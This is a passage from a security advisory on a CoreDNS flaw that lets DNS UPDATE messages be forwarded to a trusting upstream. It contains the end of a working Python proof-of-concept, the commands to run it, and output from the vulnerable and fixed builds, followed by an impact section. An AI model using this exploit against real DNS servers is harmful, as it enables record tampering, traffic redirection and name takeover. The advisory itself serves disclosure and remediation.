Advisory

GHSA-9gm5-9rfh-m6vx

Details, part 2 of 2. The advisory

Details

threading.Thread(target=serve_tcp, args=(tcp_sock, received, stopped), daemon=True),
]
for thread in threads:
thread.start()

payload = update_message()
try:
status, response_bytes = send_doh(args.host, args.port, payload, args.timeout)
try:
peer, update = received.get(timeout=args.timeout)
except queue.Empty:
peer = update = None
finally:
stopped.set()
udp_sock.close()
tcp_sock.close()
for thread in threads:
thread.join(timeout=1)

print("payload=%d opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123" % len(payload))
print("http_status=%d response_bytes=%d" % (status, response_bytes))
if update is None:
result = "blocked"
print("upstream_received_update=false")
else:
result = "forwarded"
name, ttl, address = update
print("upstream_received_update=true source=%s:%d" % peer)
print("upstream_record=%s %d IN A %s" % (name, ttl, address))
print("result=%s" % result)

if args.expect != "either" and args.expect != result:
raise SystemExit("expected %s, got %s" % (args.expect, result))

if __name__ == "__main__":
main()


Start the vulnerable revision:

```sh
./coredns -conf Corefile.poc

In a second terminal, run the probe:

$ python3 poc.py --expect forwarded
payload=60 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=200 response_bytes=29
upstream_received_update=true source=127.0.0.1:52391
upstream_record=foo.example.com. 300 IN A 192.0.2.123
result=forwarded

The ephemeral source port varies. The output confirms that the upstream saw the complete UPDATE as a request originating from CoreDNS.

For comparison, build and start CoreDNS with the fix:

git checkout 530b0a5ff2ad68cc0421f10dd93568945cc671c9 # fix commit from main
go build -tags=grpcnotrace -o coredns-fixed .
./coredns-fixed -conf Corefile.poc

The same probe is rejected before reaching the synthetic upstream:

$ python3 poc.py --expect blocked
payload=62 opcode=UPDATE record=foo.example.com. 300 IN A 192.0.2.123
http_status=400 response_bytes=16
upstream_received_update=false
result=blocked

Impact

Exploitation requires all of the following:

  • an attacker can reach a CoreDNS DoH, DoH3, DoQ, or DNS-over-gRPC listener
  • the selected proxy/forward target accepts RFC 2136 UPDATE
  • the upstream trusts CoreDNS's source address or connection and does not require an attacker-unknown TSIG

The upstream sees the UPDATE as originating from CoreDNS. A successful attack can redirect traffic, take over names, alter mail routing, or disrupt the writable zone. Requiring and validating end-to-end TSIG prevents the demonstrated attack.

Sources & licences